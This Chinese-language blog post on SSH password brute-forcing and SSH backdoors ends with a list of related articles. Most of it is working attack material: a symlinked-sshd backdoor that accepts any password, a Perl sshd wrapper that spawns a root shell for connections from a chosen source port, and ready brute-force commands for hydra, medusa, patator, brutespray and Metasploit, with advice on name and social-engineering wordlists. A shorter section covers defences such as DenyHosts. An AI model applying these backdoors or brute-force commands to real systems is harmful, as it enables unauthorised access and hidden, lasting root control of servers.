2.思路

(1)对root账号进行暴力破解

(2)使用中国姓名top1000作为用户名进行暴力破解

(3)使用top 10000 password字典进行密码破解

(4)利用掌握信息进行社工信息整理并生成字典暴力破解

(5)信息的综合利用以及循环利用

ssh后门

1. 软连接后门

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su-oPort=33223;

经典后门使用ssh root@x.x.x.x -p 33223直接对sshd建立软连接,之后用任意密码登录即可。

但这隐蔽性很弱,一般的rookit hunter这类的防护脚本可扫描到。

2.SSH Server wrapper后门

(1)复制sshd到bin目录

cd /usr/sbin

mv sshd ../bin

(2)编辑sshd

vi sshd //加入以下内容并保存

#!/usr/bin/perl

exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/);

exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

(4)修改权限

chmod 755 sshd

(5)使用socat

socat STDIOTCP4:target_ip:22,sourceport=19526

如果没有安装socat需要进行安装并编译

wget http://www.dest-unreach.org/socat/download/socat-1.7.3.2.tar.gz

tar -zxvf socat-1.7.3.2.tar.gz

cd socat-1.7.3.2

./configure

make

make install

(6)使用ssh root@ target_ip即可免密码登录

3.ssh公钥免密

将本地计算机生成公私钥,将公钥文件复制到需要连接的服务器上的~/.ssh/authorized_keys文件,并设置相应的权限,即可免密码登录服务器。

chmod 600 ~/.ssh/authorized_keys

chmod 700 ~/.ssh

ssh暴力破解命令总结及分析

1.所有工具的比较

通过对hydra、medusa、patator、brutepray以及msf下的ssh暴力破解测试,总结如下:

(1)每款软件都能成功对ssh账号以及密码进行破解。

(2)patator和brutepray是通过python语言编写,但brutepray需要medusa配合支持。

(3)hydra和medusa是基于C语言编写的,需要进行编译。

(4)brutepray基于nmap扫描结果来进行暴力破解,在对内网扫描后进行暴力破解效果好。

(5)patator基于python,速度快,兼容性好,可以在windows或者linux下稍作配置即可使用。

(6)如果具备kali条件或者PentestBox下,使用msf进行ssh暴力破解也不错。

(7)brutepray会自动生成破解成功日志文件/brutespray-output/ssh-success.txt;hydra加参数“-o save.log”记录破解成功到日志文件save.log,medusa加“-O ssh.log”参数可以将成功破解的记录记录到ssh.log文件中;patator可以加参数“-x ignore:mesg=’Authentication failed.’”来忽略破解失败的尝试,而仅仅显示成功的破解。

2.命令总结

(1)hydra破解ssh密码

hydra -lroot  -P pwd2.dic -t 1 -vV -e ns 192.168.44.139ssh

hydra -lroot  -P pwd2.dic -t 1 -vV -e ns  -o save.log  192.168.44.139  ssh

(2)medusa破解ssh密码

medusa -M ssh -h 192.168.157.131 -u root -Pnewpass.txt

medusa -M ssh -h192.168.157.131 -u root -P /root/newpass.txt -e ns –F

(3)patator破解ssh密码

./patator.py ssh_login host=192.168.157.131user=root password=FILE0 0=/root/newpass.txt -x ignore:mesg='Authenticationfailed.'

./patator.py ssh_login host=192.168.157.131user=FILE1 1=/root/user.txt password=FILE0 0=/root/newpass.txt -x ignore:mesg='Authenticationfailed.'

如果不是本地安装,则使用patator执行即可。

(4)brutespray暴力破解ssh密码

nmap -A-p 22 -v 192.168.17.0/24 -oX 22.xml

pythonbrutespray.py --file 22.xml -u root -p toor --threads 5 --hosts 5

(5)msf暴力破解ssh密码

use auxiliary/scanner/ssh/ssh_login

set rhosts192.168.17.147

setPASS_FILE /root/pass.txt

setUSER_FILE /root/user.txt

run

九、 SSH暴力破解安全防范

1.修改/etc/ssh/sshd_config默认端口为其它端口。例如设置端口为2232,则port=2232

2.在/etc/hosts.allow中设置允许的IP访问,例如sshd:192.168.17.144:allow

3.使用DenyHosts软件来设置,其下载地址:

https://sourceforge.net/projects/denyhosts/files/denyhosts/2.6/DenyHosts-2.6.tar.gz/download

(1)安装cdDenyHosts

# tar-zxvf DenyHosts-2.6.tar.gz

# cdDenyHosts-2.6

# pythonsetup.py install

默认是安装到/usr/share/denyhosts目录的。

(2)配置cdDenyHosts

# cd/usr/share/denyhosts/

# cpdenyhosts.cfg-dist denyhosts.cfg

# videnyhosts.cfg

PURGE_DENY= 50m #过多久后清除已阻止IP

HOSTS_DENY= /etc/hosts.deny #将阻止IP写入到hosts.deny

BLOCK_SERVICE= sshd #阻止服务名

DENY_THRESHOLD_INVALID= 1 #允许无效用户登录失败的次数

DENY_THRESHOLD_VALID= 10 #允许普通用户登录失败的次数

DENY_THRESHOLD_ROOT= 5 #允许root登录失败的次数

WORK_DIR= /usr/local/share/denyhosts/data #将deny的host或ip纪录到Work_dir中

DENY_THRESHOLD_RESTRICTED= 1 #设定 deny host 写入到该资料夹

LOCK_FILE= /var/lock/subsys/denyhosts #将DenyHOts启动的pid纪录到LOCK_FILE中,已确保服务正确启动,防止同时启动多个服务。

HOSTNAME_LOOKUP=NO#是否做域名反解

ADMIN_EMAIL= #设置管理员邮件地址

DAEMON_LOG= /var/log/denyhosts #自己的日志文件

DAEMON_PURGE= 10m #该项与PURGE_DENY 设置成一样,也是清除hosts.deniedssh 用户的时间。

(3)设置启动脚本

# cpdaemon-control-dist daemon-control

# chownroot daemon-control

# chmod700 daemon-control

完了之后执行daemon-contronstart就可以了。

#./daemon-control start

如果要使DenyHosts每次重起后自动启动还需做如下设置:

# ln -s/usr/share/denyhosts/daemon-control /etc/init.d/denyhosts

#chkconfig --add denyhosts

#chkconfig denyhosts on

#service denyhosts start

可以看看/etc/hosts.deny内是否有禁止的IP,有的话说明已经成功了。

以上内容来之本次专题研究内容之一,只有踏踏实实的做技术研究,才发现研究越多,知识面扩展越多。

关于linux中SSH爆破总结的更多相关文章

  1. linux中ssh登录Permanently added (RSA) to the list of known hosts问题解决

    文章出自http://www.2cto.com/os/201307/227199.html linux中ssh登录Permanently added (RSA) to the list of know ...

  2. (转)详解Linux中SSH远程访问控制

    详解Linux中SSH远程访问控制 原文:http://blog.51cto.com/dengqi/1260038 SSH:是一种安全通道协议,主要用来实现字符界面的远程登录,远程复制等功能(使用TC ...

  3. Linux中SSH服务基于key认证实践

    众所周知ssh是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议,它默认工作在tcp的22号端口,具体实现的软件有:openssh(centos默认安装的),dropbear.ssh协议目前 ...

  4. linux中ssh可以登录sftp不能登录解决办法

    我的服务器一直正常使用,平时使用secureCRT进行管理,使用secureFX进行文件的上传下载,突然有一天secureFX连接的时候出问题了,secureFX的日志如下: i SecureFX 版 ...

  5. Linux中ssh的免密码登陆

    原理: Hadoop的各个节点要实时的进行各种通信的,ssh就是能让各个节点免密码的相互访问相互通信. 操作步骤: 这里用的加密方式是非对称的加密方式,具体的操作是: <1>执行命令ssh ...

  6. Linux中ssh介绍与ssh+key密钥登陆部署

    环境内核信息: [root@zabbix- ~]# uname -a Linux zabbix- -.el6.x86_64 # SMP Tue Mar :: UTC x86_64 x86_64 x86 ...

  7. Linux中ssh登陆慢的两种原因

    useDNS配置导致登陆慢 如果ssh server的配置文件(通常是 /etc/ssh/sshd_config )中设置 useDNS yes ,可能会导致 ssh 登陆卡住几十秒.将该配置项设为 ...

  8. 解决linux中ssh登录Warning:Permanently added (RSA) to the list of known hosts

    原因: 在执行scp id_rsa.pub root@hostname:/root/.ssh这一步时,没在本机的/root/.ssh下生成known_hosts文件. 解决方案: vi /etc/ss ...

  9. Linux中ssh及scp的连接

    1. 当你想获取另外一台电脑上的数据时,可以使用这个命令 scp -P 10022 root@172.30.83.173:~/ubuntu1.tar ./ -r   代表传输文件夹,直接传文件可以不加 ...

随机推荐

  1. CM5.x配置spark错误解决

    通过cloudera manager 5.x添加spark服务,在创建服务过程中,发现spark服务创建失败,可以通过控制台错误输出看到如下日志信息: + perl -pi -e 's#{{CMF_C ...

  2. log4j.properties 日志文件的详细配置说明

    一.在一个web 项目中,使用tomcat 启动通常会在控制台输出出现一个警告信息: 通常为未添加 log4j.properties文件的原因. 二.下面以一个普通的maven项目为例说明一下 1. ...

  3. listview控件专题

    listview控件加CheckBox 窗口load: listViewLayersName.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderS ...

  4. linux 源码安装 mono

    $ yum install bison gettext glib2 freetype fontconfig libpng libpng-devel libX11 libX11-devel glib2- ...

  5. python摸爬滚打之day02----while循环,运算符,格式化输出

    1.while循环 1.1  结构:while +条件判断: while 循环体 else: 条件不成立时语句块 while...else...是一个循环整体,当循环条件成立时执行while循环体内容 ...

  6. 自己写的运用bootstrap和angulajs框架写的demo

    登录html: <body ng-app="mainapp"> <div class="container"> <div clas ...

  7. java System类的一些静态方法

    package cn.sasa.demo2; public class SystemDemo { public static void main(String[] args) { func_array ...

  8. fork多线程进程时的坑(转)

    add : 在fork多线程的进程时,创建的子进程只包含一个线程,该线程是调用fork函数的那个线程的副本.在man fork中,有The child process is created with ...

  9. MyEclipse下创建的项目 导入eclipse

    1.导入在MyEclipse下创建的项目 2.把项目变成Web项目,在项目上右键-->Properties-->选择Project Facets-->点击Convert to fac ...

  10. Nginx与安全体系架构